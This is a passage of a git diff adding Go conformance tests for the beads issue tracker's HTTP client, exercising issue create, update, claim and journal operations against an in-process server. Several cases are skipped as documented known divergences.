(RunIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes +// and its siblings) are never called here — asserting the reference store's +// funnel would be the mirror image of seeding through the client, and just as +// empty — so binding this hook carries no risk of laundering a client +// assertion through the store it happens to share a process with. +// +// ONE ENVIRONMENT PER CASE, which the contract requires rather than prefers: +// RunIssueOperationsCreateRoutesInfraTypesToWisps installs BARE workspace-global +// type vocabulary and leaves it installed, and the child-id cases mint against a +// counter a neighbouring case's seeds would move. + +func newServedIssueOperationsFixture(t *testing.T, prefix string) conformance.IssueOperationsStagingFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.IssueOperationsStagingFixture{ + IssuePrefix: env.prefix, + // The only hook bound to the CLIENT. The contract calls this field both + // the seed route and the subject, and where a case seeds through it the + // seed is itself a served create — every precondition those cases assert + // afterwards is read back raw. + Operations: lifecycle, + CreateIssue: env.createIssue, + AddDependency: env.addDependency, + GetReadyWork: env.reference.GetReadyWork, + SetConfig: env.setConfig, + Commit: env.commitMessage, + Exec: env.execRaw, + QueryScalar: env.queryScalar, + UpdateRaw: env.reference.UpdateIssue, + } +} + +// ── The create half ───────────────────────────────────────────────────────── + +// TestServedIssueOperationsCreateRoutesInfraTypesToWisps is the routing case, +// and the plane it asserts is one the client cannot ask for: createIssue +// publishes `ephemeral`, but this case sends a bare infra TYPE and leaves the +// plane to the workspace's own `types.infra` vocabulary. So what runs here is +// the server reading its configured set and routing on it, with the answer read +// out of both tables. +func TestServedIssueOperationsCreateRoutesInfraTypesToWisps(t *testing.T) { + conformance.RunIssueOperationsCreateRoutesInfraTypesToWisps(t, t.Context(), newServedIssueOperationsFixture(t, "hio1")) +} + +// TestServedIssueOperationsCreateUnderAParentMintsTheNextChildID is the id +// allocator, which is emphatically the SERVER's here: GetNextChildID is on the +// unsupported allowlist, so the client names no id at all and reads the minted +// one off the answer. The case's last arm — a parent whose differently-cased +// twin already has a child — is the one that would catch a counter keyed on a +// case-folded parent. +func TestServedIssueOperationsCreateUnderAParentMintsTheNextChildID(t *testing.T) { + conformance.RunIssueOperationsCreateUnderAParentMintsTheNextChildID(t, t.Context(), newServedIssueOperationsFixture(t, "hio2")) +} + +// TestServedIssueOperationsCreateClosedDerivesTheClosedStamp is PARKED, and +// it is the one park in this file whose refusal is not a gap but the point. +// +// The derivation it pins reads the CREATION STAMP the caller supplied — that is +// what "one second past the later of created_at and updated_at" is a function of +// — and created_at is exactly the member createIssue withholds, because a +// caller-supplied creation time makes the row disagree with the journal entry +// that records it. So the case's subject is the import path, and importing is +// the act this surface says belongs to `bd import` rather than to a create. +// The park will outlive every other one here. +func TestServedIssueOperationsCreateClosedDerivesTheClosedStamp(t *testing.T) { + skipKnownDivergence(t, "W-CreateRequest.Issue", createParkBead, + "every arm supplies Issue.CreatedAt and Issue.UpdatedAt, which are the two stamps the derivation is a "+ + "function of and the two createIssue deliberately does not publish; the client refuses them per "+ + "member (asserted by TestCreateRefusesEveryMemberTheWireExcludes) rather than deriving a closed_at "+ + "from stamps the server chose") + conformance.RunIssueOperationsCreateClosedDerivesTheClosedStamp(t, t.Context(), newServedIssueOperationsFixture(t, "hio3")) +} + +func TestServedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction(t *testing.T) { + conformance.RunIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction(t, t.Context(), newServedIssueOperationsFixture(t, "hio4")) +} + +// The two STAGING cases, which are the only ones in this package that read +// `AS OF 'HEAD'`. They dirty an unrelated durable row in the working set, then +// create, then ask what the create's own commit swept in — and over this wire +// the commit is entirely the server's, made in a process that never saw the +// dirty row. The unit-of-work leg waives both because it has no caller-held +// working set; this leg has one, because the reference store the server serves +// is a real embedded engine and the fixture holds it. + +func TestServedIssueOperationsCreateReverseNonBlockingStagesConcreteTables(t *testing.T) { + conformance.RunIssueOperationsCreateReverseNonBlockingStagesConcreteTables(t, t.Context(), newServedIssueOperationsFixture(t, "hio5")) +} + +func TestServedIssueOperationsCreateParentChildRecomputesWaitsForClosure(t *testing.T) { + conformance.RunIssueOperationsCreateParentChildRecomputesWaitsForClosure(t, t.Context(), newServedIssueOperationsFixture(t, "hio6")) +} + +// ── The update half ───────────────────────────────────────────────────────── + +func TestServedIssueOperationsUpdateLabelPatchOrdering(t *testing.T) { + conformance.RunIssueOperationsUpdateLabelPatchOrdering(t, t.Context(), newServedIssueOperationsFixture(t, "hio7")) +} + +// TestServedIssueOperationsUpdateLabelPatchValueRules is PARKED on +// L-update-fieldlen, which this wave FOUND: its first arm asserts +// ErrFieldTooLong for a 256-character label, and the operation refuses that at +// the edge with the same `invalid_argument`/`invalid_value` pair every other +// bad value on the member earns. +// +// Everything else the case is about — the duplicate add applied once, the +// absent remove that is a no-op, the empty string dropped rather than stored — +// is unaffected, and the incremental algebra beside them is exercised over this +// wire by TestServedUpdateAppliesTheOrderedLabelEditServerSide. +func TestServedIssueOperationsUpdateLabelPatchValueRules(t *testing.T) { + skipKnownDivergence(t, "L-update-fieldlen", fieldLenParkBead, + "the case's first arm binds types.ErrFieldTooLong for an over-long label, and the operation applies "+ + "that bound at the edge with the invalid_value reason a malformed member also earns (asserted, "+ + "ceiling and both legs included, by TestServedUpdateFieldLengthBoundsAreTheServersAndNotThisClients)") + conformance.RunIssueOperationsUpdateLabelPatchValueRules(t, t.Context(), newServedIssueOperationsFixture(t, "hio8")) +} + +// TestServedIssueOperationsUpdateMetadataReplaceClearsAndValidates ends on +// `SELECT metadata IS NULL`, which is the whole reason it lives on this fixture: +// a hydrated issue reads a NULL column and the empty document back as the same +// nil bytes, so the clause — metadata is NEVER SQL NULL — is invisible to every +// read this surface publishes. +func TestServedIssueOperationsUpdateMetadataReplaceClearsAndValidates(t *testing.T) { + conformance.RunIssueOperationsUpdateMetadataReplaceClearsAndValidates(t, t.Context(), newServedIssueOperationsFixture(t, "hio9")) +} + +func TestServedIssueOperationsUpdateFoldsMetadataIntoOneEvent(t *testing.T) { + conformance.RunIssueOperationsUpdateFoldsMetadataIntoOneEvent(t, t.Context(), newServedIssueOperationsFixture(t, "hioa")) +} + +func TestServedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary(t *testing.T) { + conformance.RunIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary(t, t.Context(), newServedIssueOperationsFixture(t, "hiob")) +} + +// The two STATUS-CROSSING settlement cases. They are the update's half of what +// the close cases assert next door, and they are the pair the blocked-state kit +// calls two genuine votes: issueops update.go and domain/db issue.go each decide +// independently when a status move counts as a crossing. + +func TestServedIssueOperationsUpdateStatusCrossingSettlesDependers(t *testing.T) { + conformance.RunIssueOperationsUpdateStatusCrossingSettlesDependers(t, t.Context(), newServedIssueOperationsFixture(t, "hioc")) +} + +func TestServedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender(t *testing.T) { + conformance.RunIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender(t, t.Context(), newServedIssueOperationsFixture(t, "hiod")) +} + +// TestServedIssueOperationsRequestValuesAreNotMutated is the aliasing tripwire, +// and the one case here whose answer this leg gets for free in a way worth +// saying out loud: the request is SERIALIZED on the way out and the result is +// DESERIALIZED on the way back, so there is no pointer for the role to write +// through even if it wanted to. It runs anyway, because that argument is about +// today's transport and the promise is the role's. +func TestServedIssueOperationsRequestValuesAreNotMutated(t *testing.T) { + conformance.RunIssueOperationsRequestValuesAreNotMutated(t, t.Context(), newServedIssueOperationsFixture(t, "hioe")) +} + +// ── The parks ─────────────────────────────────────────────────────────────── +// +// Two, and both are a member updateIssue publishes nothing for. The refusals +// themselves are asserted by TestUpdateRefusesEveryMemberTheWireExcludes, +// which RUNS. +// +// The THREE CLAIM cases below are not parks: a claim rides updateIssue's own +// body (upstream #6890) — alone, or beside a patch, a guard or a force +// override, claimed and written in one transaction — so all three run for real +// against an in-process bd serve over embedded Dolt. +// +// The conflict case was the last to leave. Its final section drives Claim with +// a stale ExpectedVersion, the one claim/guard composition the local role +// allows, and while claimIssue (whose request is the actor alone) was the only +// claim this client sent, that combination refused on W-UpdateRequest.Claim — +// RETIRED by the #7247 review port, which sends the guard beside the claim. + +func TestServedIssueOperationsUpdateClaimConflictCarriesTheLosingState(t *testing.T) { + conformance.RunIssueOperationsUpdateClaimConflictCarriesTheLosingState(t, t.Context(), newServedIssueOperationsFixture(t, "hiof")) +} + +func TestServedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses(t *testing.T) { + conformance.RunIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses(t, t.Context(), newServedIssueOperationsFixture(t, "hiog")) +} + +func TestServedIssueOperationsClaimLeavesBlockedStateAlone(t *testing.T) { + conformance.RunIssueOperationsClaimLeavesBlockedStateAlone(t, t.Context(), newServedIssueOperationsFixture(t, "hioh")) +} + +// fieldLenParkBead is the bead the length-bound park cites, and it is separate +// from parkBead because it retires on a different event: the write-side parks +// wait on the wire growing a MEMBER, and this one waits on it growing a REASON. +// The behaviour is already served; only its classification is coarse. +const fieldLenParkBead = "ga-2ltro.19" + +// TestServedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps is the staging +// twin of the accessor-reachable plane case next door, and it parks for the +// same reason: dropping the restriction would EDIT the wisp the caller asked to +// be told did not exist. +func TestServedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps(t *testing.T) { + skipKnownDivergence(t, "W-UpdateRequest.IssuePlaneOnly", parkBead, + "updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so the "+ + "client refuses the flag rather than silently editing the wisp the case asked it to refuse") + conformance.RunIssueOperationsUpdateIssuePlaneOnlyRefusesWisps(t, t.Context(), newServedIssueOperationsFixture(t, "hioi")) +} + +// TestServedIssueOperationsUpdateWritesEveryScalarPatchField parks on FOUR +// members at once — spec_id, await_id, owner and closed_by_session — and the +// citation names spec_id because it is the first the encoder reaches. `owner` is +// the odd one: ApplyPatchBody publishes it and IssuePatchBody does not, which +// the document itself calls an accident of order rather than a decision, so this +// park is the one here most likely to narrow rather than retire. +func TestServedIssueOperationsUpdateWritesEveryScalarPatchField(t *testing.T) { + skipKnownDivergence(t, "W-IssuePatch.SpecID", parkBead, + "the case writes every scalar the patch carries, and four of them — spec_id, await_id, owner and "+ + "closed_by_session — are members IssuePatchBody does not publish; the client refuses each by name "+ + "rather than reporting a landed edit that dropped them") + conformance.RunIssueOperationsUpdateWritesEveryScalarPatchField(t, t.Context(), newServedIssueOperationsFixture(t, "hioj")) +} diff --git a/internal/httpclient/served_journal_test.go b/internal/httpclient/served_journal_test.go new file mode 100644 index 000000000..df77277bf --- /dev/null +++ b/internal/httpclient/served_journal_test.go @@ -0,0 +1,95 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_journal_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" +) + +// The Journal contract against the served surface. +// +// It is the FOURTH leg of a role that has three in-tree bodies and one shared +// one: both Dolt stores and the unit-of-work provider bottom out in +// issueops.ReadEventsPageInTx, so those three are one reading plus an engine +// check. This leg is genuinely independent — a JSON envelope over HTTP, a typed +// error rebuilt from a problem document, and a page bound that is the handler's +// rather than the role's — which is why the contract's own header calls the +// truncation case the one that matters more than it looks: the alias identity it +// checks at runtime is checked here across a WIRE. +// +// THE SPLIT BETWEEN THE FIXTURE'S HOOKS IS THE HARNESS RULE, and on this role it +// is also the role's own doctrine. Journal is bound to the CLIENT; activation +// and retention are bound to the REFERENCE store, because they are operator +// surface that journalops deliberately keeps off the role — a publishing surface +// must not be one line away from a delete — and this client implements neither. +// So the fixture's shape is not a testing convenience here, it is the same split +// the production types make. +// +// ORDER AND SEQUENTIALITY ARE LOAD-BEARING, exactly as they are on the three +// legs upstream: two cases PRUNE, one of them to nothing, every case rebaselines +// off the live head, and EveryMutationKindLandsARow runs last on purpose. +func TestServedJournalContract(t *testing.T) { + env := newServedEnv(t, "hjrn") + ctx := t.Context() + fixture := newServedJournalFixture(t, env) + t.Cleanup(func() { + // Journaling is INSTANCE-scoped, and the reference store outlives this + // fixture inside one test binary. Leaving it on would journal every + // mutation a later case in this package makes. + env.reference.SetEventsJournalEnabled(false) + }) + + t.Run("PagesAreSeqAscendingAndSinceExclusive", func(t *testing.T) { + conformance.RunJournalPagesAreSeqAscendingAndSinceExclusive(t, ctx, fixture) + }) + t.Run("HeadArrivesWithItsRowsAndDetectsCaughtUp", func(t *testing.T) { + conformance.RunJournalHeadArrivesWithItsRowsAndDetectsCaughtUp(t, ctx, fixture) + }) + t.Run("LimitCapsRowsNotHead", func(t *testing.T) { + conformance.RunJournalLimitCapsRowsNotHead(t, ctx, fixture) + }) + t.Run("TruncationIsTypedAndNamesTheWindow", func(t *testing.T) { + conformance.RunJournalTruncationIsTypedAndNamesTheWindow(t, ctx, fixture) + }) + t.Run("HeadSurvivesAFullPrune", func(t *testing.T) { + conformance.RunJournalHeadSurvivesAFullPrune(t, ctx, fixture) + }) + t.Run("EveryMutationKindLandsARow", func(t *testing.T) { + conformance.RunJournalEveryMutationKindLandsARow(t, ctx, fixture) + }) +} + +// newServedJournalFixture binds the role to the client through the TYPE +// ASSERTION `bd serve` makes, never through the concrete method set. +// +// The journal is not on storage.DoltStorage — journalops states why a role with +// no accessor is the right shape for it — so publishing it IS implementing this +// interface, and a client that stopped would fail here rather than keep +// compiling against a struct. +func newServedJournalFixture(t *testing.T, env *servedEnv) conformance.JournalFixture { + t.Helper() + cursor, ok := any(env.subject).(storage.EventsJournalCursor) + if !ok { + t.Fatalf("%T does not implement storage.EventsJournalCursor", env.subject) + } + reference := env.reference + return conformance.JournalFixture{ + IssuePrefix: env.prefix, + Journal: cursor, + SetJournalEnabled: reference.SetEventsJournalEnabled, + Prune: reference.PruneEventsJournal, + // EVERY MUTATION DRIVES THE REFERENCE STORE, which is the harness rule + // and not a shortcut around a refusing client. Two of the seven have no + // client-side spelling at all — a raw delete and a raw dependency remove + // are on the unsupported allowlist — and the other five would prove the + // client agrees with itself: the question this contract asks is whether + // the client can READ the journal a server wrote. + Mutations: servedJournalMutations(reference), + } +} diff --git a/internal/httpclient/served_lifecycle_create_test.go b/internal/httpclient/served_lifecycle_create_test.go new file mode 100644 index 000000000..6f152753f --- /dev/null +++ b/internal/httpclient/served_lifecycle_create_test.go @@ -0,0 +1,398 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_lifecycle_create_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Lifecycle CREATE contracts, run through client → in-process bd serve → +// reference store. +// +// createIssue is the operation that made D8 row 16 whole: the row was PARTIAL +// for as long as POST /v0/beads/issues was free on the wire, and the three verbs +// beside it — update, close, reopen — have been served since the write-lifecycle +// wave. What is asserted here is the fourth. +// +// TWO OF THE SIX CONTRACTS ARE PARKED on the wire's refusal VOCABULARY rather +// than on a member it cannot carry: the operation answers a dangling edge +// target and a foreign id prefix with the same `400 invalid_argument` every +// other body refusal earns, so the typed sentinels the contracts bind cannot be +// reconstructed. Both parks have a RUNNING pin beside them asserting the +// degraded-but-real behavior, so the ledger rows retire loudly rather than +// sitting behind a skip. The other two parks are a member list — the creation +// stamp and the classification plumbing — and they are refuse-not-drop working +// as designed; the sub-second echo is the second of them because its precision +// pin IS the creation stamp. + +func newServedCreateFixture(t *testing.T, prefix string) conformance.LifecycleCreateFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.LifecycleCreateFixture{ + IssuePrefix: env.prefix, + Lifecycle: lifecycle, + CreateIssue: env.createIssue, + GetIssue: env.getIssue, + WispExists: env.wispExists, + } +} + +// TestServedLifecycleCreateRefusesAnOccupiedID is the case the create-only guard +// exists for, and the one that catches the shipped bug the contract was written +// against: `bd create --id ` silently UPSERTING the stored row and +// reporting success. +func TestServedLifecycleCreateRefusesAnOccupiedID(t *testing.T) { + conformance.RunLifecycleCreateRefusesAnOccupiedID(t, t.Context(), newServedCreateFixture(t, "hlc1")) +} + +func TestServedLifecycleCreateInheritsParentLabels(t *testing.T) { + conformance.RunLifecycleCreateInheritsParentLabels(t, t.Context(), newServedCreateFixture(t, "hlc2")) +} + +// TestServedLifecycleCreateRejectsMissingDependencyTargets is PARKED on +// L-create-notfound: the case binds ErrValidation WRAPPING ErrNotFound and +// requires the refusal to NAME the missing target, and the wire's 400 for a +// dangling edge carries a fixed detail that quotes neither. +// +// The outcome half — the whole request fails and nothing is created — is +// asserted by TestServedCreateRefusesAnAbsentTargetAsValidation below, which +// RUNS. +func TestServedLifecycleCreateRejectsMissingDependencyTargets(t *testing.T) { + skipKnownDivergence(t, "L-create-notfound", createParkBead, + "the case binds ErrValidation wrapping ErrNotFound and requires the missing target's id in the message; the wire's 400 for a dangling dependency, parent or waits-for target carries a FIXED detail that reflects neither (asserted by TestServedCreateRefusesAnAbsentTargetAsValidation)") + conformance.RunLifecycleCreateRejectsMissingDependencyTargets(t, t.Context(), newServedCreateFixture(t, "hlc3")) +} + +// TestServedLifecycleCreateRefusesAForeignIDPrefix is PARKED on L-create-prefix: +// the case binds storage.ErrPrefixMismatch, and the wire spells that refusal as +// the same `invalid_argument` / `param: "id"` pair a malformed id earns, so +// nothing on the wire tells the two apart. +func TestServedLifecycleCreateRefusesAForeignIDPrefix(t *testing.T) { + skipKnownDivergence(t, "L-create-prefix", createParkBead, + "the case binds storage.ErrPrefixMismatch, and the wire answers a foreign prefix with the same invalid_argument/param=id pair a malformed id earns (asserted by TestServedCreateRefusesAForeignPrefixAsValidation)") + conformance.RunLifecycleCreateRefusesAForeignIDPrefix(t, t.Context(), newServedCreateFixture(t, "hlc4")) +} + +// TestServedLifecycleCreateWritesEveryScalarField is PARKED on +// W-CreateRequest.Issue: seventeen of its members are the create vocabulary the +// wire publishes and five are not — spec_id, await_id, closed_by_session, and +// the creation stamp's created_at/created_by — and this client refuses each of +// those rather than dropping it. created_by is refused because the case names +// a creator OTHER than its actor; the server stamps the actor, so only that one +// value rides the stamp (TestServedCreateCarriesTheShapeBdCreateSends). +// +// The operation's own description says why the stamp is absent: a create whose +// stored creation time comes from the caller makes the row disagree with the +// journal entry that records it, and re-dating history is what an import is for. +// So this is not a gap waiting on a wave; it is the surface's decision, and the +// park will outlive the ones above. +func TestServedLifecycleCreateWritesEveryScalarField(t *testing.T) { + skipKnownDivergence(t, "W-CreateRequest.Issue", createParkBead, + "the case sets spec_id, await_id, closed_by_session, created_at and a created_by naming someone other than its actor; createIssue publishes none of them and the client refuses each per member rather than dropping it (asserted by TestCreateRefusesEveryMemberTheWireExcludes)") + conformance.RunLifecycleCreateWritesEveryScalarField(t, t.Context(), newServedCreateFixture(t, "hlc5")) +} + +// TestServedLifecycleCreateEchoesSubSecondTimestamps is PARKED on the same row +// as WritesEveryScalarField, and on the same member: the contract's precision +// pin is a caller-supplied created_at/updated_at with nanoseconds in it — its +// own preamble says the explicit arm is the pin and the auto-stamped arm only a +// bounded smoke check — and the creation stamp is exactly the member createIssue +// withholds by design. The client refuses Issue.CreatedAt before any request is +// sent, so there is no echo to measure; running the auto-stamped arm alone +// would assert a clock window the contract itself declines to make the pin. +func TestServedLifecycleCreateEchoesSubSecondTimestamps(t *testing.T) { + skipKnownDivergence(t, "W-CreateRequest.Issue", createParkBead, + "the case's precision pin is a caller-supplied created_at/updated_at, and the creation stamp is the member createIssue deliberately withholds; the client refuses Issue.CreatedAt before any request is sent, so the echo has nothing to echo (the refusal is asserted by TestCreateRefusesEveryMemberTheWireExcludes)") + conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, t.Context(), newServedCreateFixture(t, "hlc6")) +} + +// createParkBead is the bead the create-side parks cite. It is separate from +// parkBead — the write-side parks of the close/update wave — because these +// retire on different events: two of them wait on the wire growing a +// distinguishing refusal code, and the third waits on nothing at all. +const createParkBead = "ga-jbuyf" + +// TestServedCreateRefusesAnAbsentTargetAsValidation is L-create-notfound's pin, +// and it RUNS. +// +// Both halves matter. The CLASSIFICATION half is the divergence: the refusal is +// ErrValidation alone and does not name the target, so the row retires loudly +// the day the wire grows a distinguishing code. The OUTCOME half is the reason +// the divergence is acceptable: the whole request fails and NOTHING is created — +// not the issue, and not the edge that named nothing. +// +// All three ways a request can name a target are driven here, including +// --parent: OpCreateIssue's own problem-code table (internal/httpapi/problem.go) +// documents NO 404 for ANY of them, on purpose — "there is no id in this path +// to have missed" applies to parent_id exactly as it does to a dependency's +// target_id or a waits-for's spawner_id, none of which are a resource this +// operation was asked to address. There is no asymmetry to carve a parent-only +// not_found out of without contradicting that design, so the three stay +// together on this one row. +func TestServedCreateRefusesAnAbsentTargetAsValidation(t *testing.T) { + env := newServedEnv(t, "hlcn") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const missing = "hlcn-nosuchrow" + for _, tc := range []struct { + name string + id string + request issueops.CreateRequest + }{ + { + name: "explicit dependency", + id: "hlcn-dep", + request: issueops.CreateRequest{Dependencies: []issueops.CreateDependency{{TargetID: missing, Type: types.DepBlocks}}}, + }, + { + name: "waits-for spawner", + id: "hlcn-waits", + request: issueops.CreateRequest{WaitsFor: &issueops.WaitsFor{SpawnerID: missing}}, + }, + { + name: "parent", + id: "hlcn-parent", + request: issueops.CreateRequest{ParentID: missing}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + req := tc.request + req.Actor, req.ForceIDPrefix = "writer", true + req.Issue = &issueops.Issue{ + ID: tc.id, Title: tc.name, Status: types.StatusOpen, + Priority: 2, IssueType: types.TypeTask, + } + _, err := lifecycle.Create(ctx, req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Create with an absent %s target: err = %v, want ErrValidation", tc.name, err) + } + if errors.Is(err, issueops.ErrNotFound) { + t.Errorf("the refusal wraps ErrNotFound; L-create-notfound says the wire cannot express it — retire the row rather than the assertion") + } + if strings.Contains(err.Error(), missing) { + t.Errorf("the refusal names the missing target %q; L-create-notfound says it cannot — retire the row", missing) + } + // The outcome half: neither plane holds the refused id. + assertServedIssueRows(t, ctx, env, 0, tc.id) + assertServedWispRows(t, ctx, env, 0, tc.id) + }) + } +} + +// TestServedCreateRefusesAForeignPrefixAsValidation is L-create-prefix's pin, +// and it RUNS. +// +// The guard is untouched — the id is refused, nothing is created, and the same +// request with ForceIDPrefix lands — and only the typed sentinel is lost. That +// last clause is what the row is about: both local front doors decide whether to +// re-offer the create with --force from errors.Is rather than from the message. +func TestServedCreateRefusesAForeignPrefixAsValidation(t *testing.T) { + env := newServedEnv(t, "hlcp") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const foreign = "hlcpforeign-1" + issue := func() *issueops.Issue { + return &issueops.Issue{ + ID: foreign, Title: "foreign", Status: types.StatusOpen, + Priority: 2, IssueType: types.TypeTask, + } + } + + _, err = lifecycle.Create(ctx, issueops.CreateRequest{Actor: "writer", Issue: issue()}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("unforced create at a foreign prefix: err = %v, want ErrValidation", err) + } + if errors.Is(err, storage.ErrPrefixMismatch) { + t.Errorf("the refusal carries ErrPrefixMismatch; L-create-prefix says the wire cannot express it — retire the row rather than the assertion") + } + assertServedIssueRows(t, ctx, env, 0, foreign) + + // The half that makes the refusal a POLICY the caller can override rather + // than a hard limit — and the half that proves the arm above refused on the + // prefix rather than on the request being malformed. + forced, err := lifecycle.Create(ctx, issueops.CreateRequest{Actor: "writer", ForceIDPrefix: true, Issue: issue()}) + if err != nil { + t.Fatalf("forced create at a foreign prefix: %v", err) + } + if forced.Issue == nil || forced.Issue.ID != foreign { + t.Fatalf("forced create answered %+v, want the requested id %q", forced.Issue, foreign) + } + assertServedIssueRows(t, ctx, env, 1, foreign) +} + +// TestServedCreateAnswersTheRowAsStored pins the RESPONSE half of the create, +// which no request assertion can see: the row that comes back is the server's, +// not the request reflected. +// +// The three members it reads are the three only the server can supply — the +// MINTED id (the request named none), the DEFAULTED status (the request named +// none either) and the persisted creation stamp, which this operation +// deliberately does not let a caller set. A client that echoed its own request +// back would answer an empty id, an empty status and a zero time. +func TestServedCreateAnswersTheRowAsStored(t *testing.T) { + env := newServedEnv(t, "hlcr2") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + created, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "minted", Priority: 2, IssueType: types.TypeTask}, + }) + if err != nil { + t.Fatalf("Create: %v", err) + } + if created.Issue == nil { + t.Fatal("Create answered no issue") + } + if !strings.HasPrefix(created.Issue.ID, env.prefix+"-") { + t.Errorf("minted id = %q, want one in the workspace's %q prefix", created.Issue.ID, env.prefix) + } + if created.Issue.Status != types.StatusOpen { + t.Errorf("status = %q, want the defaulted %q", created.Issue.Status, types.StatusOpen) + } + if created.Issue.CreatedAt.IsZero() { + t.Error("created_at is zero; the answer is the row as STORED, and this operation stamps it server-side") + } + if created.Issue.CreatedBy != "writer" { + t.Errorf("created_by = %q, want the request's actor %q; the client never sends CreatedBy over the wire (internal/httpapi/create.go must stamp it from the actor)", created.Issue.CreatedBy, "writer") + } + + // And the row really landed, read out of band. + stored, err := env.getIssue(ctx, created.Issue.ID) + if err != nil { + t.Fatalf("read back %s: %v", created.Issue.ID, err) + } + if stored.Title != "minted" { + t.Errorf("stored title = %q, want %q", stored.Title, "minted") + } + if stored.CreatedBy != "writer" { + t.Errorf("stored created_by = %q, want %q", stored.CreatedBy, "writer") + } +} + +// TestServedCreateStampsCreatedByFromTheActorNotTheWire pins the server half of +// the created_by contract: createIssue publishes no created_by member, so the +// stored creator exists only because internal/httpapi's create.go stamps it from +// the request's actor. A different actor than TestServedCreateAnswersTheRowAsStored +// pins that the stamp tracks THIS request's actor, not a fixed default. +func TestServedCreateStampsCreatedByFromTheActorNotTheWire(t *testing.T) { + env := newServedEnv(t, "hlcby") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + created, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "a-different-actor", + Issue: &issueops.Issue{Title: "stamped", Priority: 1, IssueType: types.TypeTask}, + }) + if err != nil { + t.Fatalf("Create: %v", err) + } + if created.Issue.CreatedBy != "a-different-actor" { + t.Errorf("created_by = %q, want %q", created.Issue.CreatedBy, "a-different-actor") + } + + stored, err := env.getIssue(ctx, created.Issue.ID) + if err != nil { + t.Fatalf("read back %s: %v", created.Issue.ID, err) + } + if stored.CreatedBy != "a-different-actor" { + t.Errorf("stored created_by = %q, want %q", stored.CreatedBy, "a-different-actor") + } +} + +// TestServedCreateCarriesTheShapeBdCreateSends drives the request `bd create` +// actually builds (cmd/bd/create.go): Issue.CreatedBy names the actor, and +// IDPrefix carries the workspace's config.yaml prefix on every create, with no +// explicit id. Neither member has a place on the wire, and neither needs one — +// the server stamps created_by from the actor, and the override acts only on an +// explicit, unforced id — so refusing either would refuse every CLI create in a +// workspace whose config.yaml names a prefix. +func TestServedCreateCarriesTheShapeBdCreateSends(t *testing.T) { + env := newServedEnv(t, "hlcli") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + created, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "cli-user", + Issue: &issueops.Issue{Title: "from the cli", Priority: 2, IssueType: types.TypeTask, CreatedBy: "cli-user"}, + IDPrefix: env.prefix, + }) + if err != nil { + t.Fatalf("Create in bd create's shape = %v, want it served", err) + } + if !strings.HasPrefix(created.Issue.ID, env.prefix+"-") { + t.Errorf("minted id = %q, want one in the workspace's %q prefix", created.Issue.ID, env.prefix) + } + stored, err := env.getIssue(ctx, created.Issue.ID) + if err != nil { + t.Fatalf("read back %s: %v", created.Issue.ID, err) + } + if stored.CreatedBy != "cli-user" { + t.Errorf("stored created_by = %q, want the CreatedBy the request named", stored.CreatedBy) + } +} + +// TestServedCreateNamesTheOccupiedIDInItsRefusal is the served half of the +// message decoration the role makes. +// +// The wire's `already_exists` carries `param: "id"` and no id, because the +// request already said it. A caller of `bd create --id X` refused with a bare +// "already names a stored row" cannot act on it when the create was one of +// several, so the role puts the caller's own id back — the same fact a local +// backend's refusal carries in its own message. +func TestServedCreateNamesTheOccupiedIDInItsRefusal(t *testing.T) { + env := newServedEnv(t, "hlco") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const occupied = "hlco-taken" + seedServedIssue(t, ctx, env, occupied, types.StatusOpen) + + _, err = lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "writer", ForceIDPrefix: true, + Issue: &issueops.Issue{ + ID: occupied, Title: "squatter", Status: types.StatusOpen, + Priority: 2, IssueType: types.TypeTask, + }, + }) + if !errors.Is(err, issueops.ErrAlreadyExists) { + t.Fatalf("create over an occupied id: err = %v, want ErrAlreadyExists", err) + } + if !strings.Contains(err.Error(), occupied) { + t.Errorf("the refusal does not name the occupied id: %v", err) + } +} diff --git 